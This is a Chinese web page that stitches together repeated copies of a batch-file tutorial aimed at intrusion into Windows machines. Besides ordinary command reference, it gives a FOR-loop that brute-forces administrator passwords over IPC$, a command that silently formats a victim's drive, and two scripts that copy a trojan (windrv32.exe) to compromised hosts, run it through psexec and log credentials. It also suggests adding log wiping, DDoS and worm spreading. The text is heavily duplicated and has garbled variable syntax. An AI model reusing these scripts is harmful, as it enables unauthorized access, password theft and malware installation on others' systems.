这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!!简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长!
-教程

批处理命令


平时收藏了好多,不过这里写不下那么多~ 需要的时候邮件发给你吧~
批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用》 》》 ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if “参数“ == “字符串“ 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if “%1“==“a“ format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F [“options“] %variable IN (file-set) DO command
FOR /F [“options“] %variable IN (“string“) DO command
FOR /F [“options“] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F [“options“] %variable IN (file-set) DO command
FOR /F [“options“] %variable IN (“string“) DO command
FOR /F [“options“] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 “options“
参数替代默认解析*作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F “eol=; tokens=2,3* delims=, “ %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F “usebackq delims==“ %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号(“),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ “password“ /u:“administrator“来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ “i%“ /u:“administrator“
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ “i%%“ /u:“administrator“|find “:命令成功完成“》》D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f “tokens=1,2,3 delims= “ %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if “%1“==““ goto usage
@for /f “tokens=1,2,3 delims= “ %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:“%2“
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 》》ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored 》》ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
No.2
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if “%1“==“a“ format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ “2%“ /u:“3%“ 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\》dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample:
C:\》dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\》dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55
.
2002-05-14 23:55
..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)
3.||
Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:\Ex4rch》dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 》》victim.txt
在打命令前键入不敷出@echo
@表示不显示本行
echo表示不显示批处理文件运行时的窗口。
在批处理文件的第一行添加“@echo off”即可
一:
windows的命令行模式
(win+R)在里面写CMD就可以进入windows的命令行模式了
二 :
批处理文件
批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 (本文因篇幅较长,所以分成两部份。前半部份讲命令,后半部分讲实例分析。)
一、简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用》 》》 ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
-批处理命令

关于批处理命令


1.可以将文件名加上引号““如:copy c:\windows\notepad.exe c:\“System Volume Information“或者使用dos的8.3文件命名格式,System~1
2.进入文件夹,敲命令d:&&cd d:\新建文件夹
-教程

用批处理 命令怎么写


一般批处理都是先建立一个文本文件然后输入 批处理命令然后另存为.bat文件就好了的。。
1.Echo 命令打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。语法echo [{on|off}] [message]Sample:echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用》 》》 ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。Rem MessageSample:@Rem Here is the description.
5.Pause 命令运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample:@echo off :begin copy a:*.* d:\backecho Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。语法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]参数[Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。入侵常用参数:MIN 开始时窗口最小化SEPARATE 在分开的空间内开始 16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto mem if errotlevel 1 goto end
:defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if “参数“ == “字符串“ 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if “%1“==“a“ format a: if {%1}=={} goto noparmsif {%2}=={} goto noparms
2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。(set) 指定一个或一组文件。可以使用通配符。command 指定对每个文件执行的命令。command-parameters 为特定命令指定参数或命令行开关。在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
FOR /F [“options“] %variable IN (file-set) DO command FOR /F [“options“] %variable IN (“string“) DO command FOR /F [“options“] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F [“options“] %variable IN (file-set) DO command FOR /F [“options“] %variable IN (“string“) DO command FOR /F [“options“] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 “options“参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)skip=n - 指在文件开始时忽略的行数。delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1:FOR /F “eol=; tokens=2,3* delims=, “ %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F “usebackq delims==“ %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号(“),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用net use \\ip\ipc$ “password“ /u:“administrator“来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ “i%“ /u:“administrator“用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ “i%%“ /u:“administrator“|find “:命令成功完成“》》D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)@for /f “tokens=1,2,3 delims= “ %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------@echo off@if “%1“==““ goto usage@for /f “tokens=1,2,3 delims= “ %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------@net use \\%1\ipc$ %3 /u:“%2“@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection …………OK@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 》》ko.txt@p***ec \\%1 c:\winnt\system32\windrv32.exe@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored 》》ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) -------------------这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
-批处理命令

什么是批处理命令


批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用》 》》 ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
